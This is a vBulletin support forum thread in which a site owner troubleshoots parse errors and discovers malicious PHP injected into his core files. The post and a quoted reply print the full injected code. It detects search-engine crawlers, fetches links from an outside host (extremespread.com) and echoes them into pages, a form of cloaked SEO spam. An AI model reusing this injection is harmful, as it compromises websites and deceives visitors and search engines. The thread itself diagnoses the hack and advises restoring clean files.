parse error on forum.php

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • chriswh86
    Member
    • Nov 2012
    • 43

    parse error on forum.php

    I just got this error on my website today and Im not sure why it has come up.

    Parse error: syntax error, unexpected '<' in E:\Sites\Single1\hallidayracing\webroot\forum.php on line 829
    PHP Parse error: syntax error, unexpected '<' in E:\Sites\Single1\hallidayracing\webroot\forum.php on line 829

    line 829 is just the following
    <?php

    I have not updated any files in my website all I did yesterday was post a new forum topic and the site worked fine all day afterwards, so something happened last night for some reason?

    Any help would be greatly appreciated
    http://www.250explorer.com

  • Wayne Luke
    vBulletin Technical Support Lead
    • Aug 2000
    • 74167

    #2
    Line 829 should not be <?php. That code should only exist as the very first line in the file. Please re-upload an unmodified forum.php file.
    Translations provided by Google.

    Wayne Luke
    The Rabid Badger - a vBulletin Cloud demonstration site.
    vBulletin 5 API

    Comment

    • chriswh86
      Member
      • Nov 2012
      • 43

      #3
      Ok will do. Any idea why this would have changed on its own?

      Comment

      • chriswh86
        Member
        • Nov 2012
        • 43

        #4
        Ok, I am starting to get more parse errors after I fix each file. It started on forum.php then there was an error on global.php and now on class_bootstrap.php? Any ideas why this is happening and the best safest way to fix it

        Comment

        • Mark.B
          vBulletin Support
          • Feb 2004
          • 24288
          • 6.0.X

          #5
          What version of vBulletin?
          What version of php?
          MARK.B
          vBulletin Support
          ------------
          My Unofficial vBulletin 6.0.0 Demo: https://www.talknewsuk.com
          My Unofficial vBulletin Cloud Demo: https://www.adminammo.com

          Comment

          • chriswh86
            Member
            • Nov 2012
            • 43

            #6
            vb version 4.2.2 patch level 2 I am not sure on the php version

            Comment

            • chriswh86
              Member
              • Nov 2012
              • 43

              #7
              Ok, So ive had issues with forum.php, global.php, class_bootstrap.php, class_core.php, config.php, functions.php and class_friendly_url.php all with a <?php errror tag near the bottom of the files. I now have this issue...

              $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $userref = strtolower($_SERVER['HTTP_REFERER']); $flag = false; if(strpos($userref, "google") !== false || strpos($userref, "bing") !== false || strpos($userref, "yahoo") !== false || strpos($userref, "aol") !== false) { $flag = true; }else if(strpos($userAgent, "googlebot") !== false || strpos($userAgent, "baiduspider") !== false || strpos($userAgent, "yahoo! slurp") !== false || strpos($userAgent, "msnbot") !== false) { $flag = true; } if($flag){ $rhost="www.extremespread.com"; $rpath="http://www.extremespread.com/getoutlinks.php"; $blackpath = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; $user_agent = $_SERVER["HTTP_USER_AGENT"]; $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],0,4); $socket = fsockopen($rhost, 80, $errno, $errstr, 30); if (!$socket) die("$errstr($errno)"); fwrite($socket, "GET $rpath?display=1&url=$blackpath HTTP/1.0\r\n"); fwrite($socket, "User-Agent: $user_agent\r\n"); fwrite($socket, "HOST: $rhost\r\n"); fwrite($socket, "Content-type: application/x-www-form-urlencoded\r\n"); fwrite($socket, "Accept:*/*\r\n"); fwrite($socket, "\r\n"); $header = ""; while ($str = trim(fgets($socket, 4096))) { $header .= $str; } $data = ""; while (!feof($socket)) { $data .= fgets($socket, 4096); } echo $data; } ?>Unable to add cookies, header already sent.
              File: E:\Sites\Single1\hallidayracing\webroot\includes\functions_navigation.php
              Line: 1154

              I only have version 4.2.1 on my computer and I am wondering where I can get 4.2.2 documents to re-upload to my webhost. Or should I revert back to the origial parse error and upload 4.2.1's unmodified forum.php page?

              Comment

              • Mark.B
                vBulletin Support
                • Feb 2004
                • 24288
                • 6.0.X

                #8
                You cannot mix files from different versions like that.If you are running 4.2.2, then you need ALL the files to be from 4.2.2. You can't add some 4.2.1 files just because something isn't working for you.

                You need to let us know the php version you are are running. If you don't know, please check with your host. We can't advise correctly until we know this.
                MARK.B
                vBulletin Support
                ------------
                My Unofficial vBulletin 6.0.0 Demo: https://www.talknewsuk.com
                My Unofficial vBulletin Cloud Demo: https://www.adminammo.com

                Comment

                • kh99
                  Senior Member
                  • Aug 2009
                  • 533

                  #9
                  Originally posted by chriswh86
                  Ok, So ive had issues with forum.php, global.php, class_bootstrap.php, class_core.php, config.php, functions.php and class_friendly_url.php all with a <?php errror tag near the bottom of the files. I now have this issue...

                  $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $userref = strtolower($_SERVER['HTTP_REFERER']); $flag = false; if(strpos($userref, "google") !== false || strpos($userref, "bing") !== false || strpos($userref, "yahoo") !== false || strpos($userref, "aol") !== false) { $flag = true; }else if(strpos($userAgent, "googlebot") !== false || strpos($userAgent, "baiduspider") !== false || strpos($userAgent, "yahoo! slurp") !== false || strpos($userAgent, "msnbot") !== false) { $flag = true; } if($flag){ $rhost="www.extremespread.com"; $rpath="http://www.extremespread.com/getoutlinks.php"; $blackpath = $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; $user_agent = $_SERVER["HTTP_USER_AGENT"]; $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],0,4); $socket = fsockopen($rhost, 80, $errno, $errstr, 30); if (!$socket) die("$errstr($errno)"); fwrite($socket, "GET $rpath?display=1&url=$blackpath HTTP/1.0\r\n"); fwrite($socket, "User-Agent: $user_agent\r\n"); fwrite($socket, "HOST: $rhost\r\n"); fwrite($socket, "Content-type: application/x-www-form-urlencoded\r\n"); fwrite($socket, "Accept:*/*\r\n"); fwrite($socket, "\r\n"); $header = ""; while ($str = trim(fgets($socket, 4096))) { $header .= $str; } $data = ""; while (!feof($socket)) { $data .= fgets($socket, 4096); } echo $data; } ?>Unable to add cookies, header already sent.
                  File: E:\Sites\Single1\hallidayracing\webroot\includes\functions_navigation.php
                  [COLOR=#000000][FONT=Times New Roman]Line: 1154
                  That kind of looks like someone tried to modify your files to add their own links to the bottom, unless you know what www.extremespread.com is.
                  Last edited by kh99; Tue 16 Dec '14, 4:19pm.

                  Comment

                  • chriswh86
                    Member
                    • Nov 2012
                    • 43

                    #10
                    Originally posted by kh99

                    That kind of looks like someone tried to modify your files to add their own links to the bottom, unless you know what www.extremespread.com is.

                    I definantly do not recognize that link.

                    I am running PHP version PHP Version 5.3.27

                    Advise from here, Thanks

                    Comment

                    • Zachery
                      Former vBulletin Support
                      • Jul 2002
                      • 59097

                      #11
                      I'd reupload ALL of the 4.2.2 files.

                      Comment

                      • chriswh86
                        Member
                        • Nov 2012
                        • 43

                        #12
                        Ok will do. What sort of issues can I expect with re-uploading the 4.2.2 files? I have backed up my database, but will I loose any other content from re-uploading?

                        Comment

                        • kh99
                          Senior Member
                          • Aug 2009
                          • 533

                          #13
                          You should be OK as long as you haven't made any changes to any vbulletin files.

                          I'm kind of hesitatnt to say anything because I'm not 100% sure, but if that stuff started appearing in your files and you can't explain why, then it might mean someone's hacked your forum or something on your server, so you'd want to try to figure out how it happened or else it might just happen again once everything is restored.

                          Comment

                          • chriswh86
                            Member
                            • Nov 2012
                            • 43

                            #14
                            I have a custom template (purchased from a vb4 template maker), logo, all the forum fields and posts, should I be worried about these things when re-uploading 4.2.2?

                            Comment

                            • kh99
                              Senior Member
                              • Aug 2009
                              • 533

                              #15
                              You should be OK, those things are in the database, except maybe the logo image. But that's only a problem if it happens to be named the same as one of the vbulletin files. If you're concerned, what you could do is download your forum directory to your local computer first, to save a copy of it.

                              It might be a good idea to get someone to help you, if you don't feel confident,

                              Comment

                              Related Topics

                              Collapse

                              Working...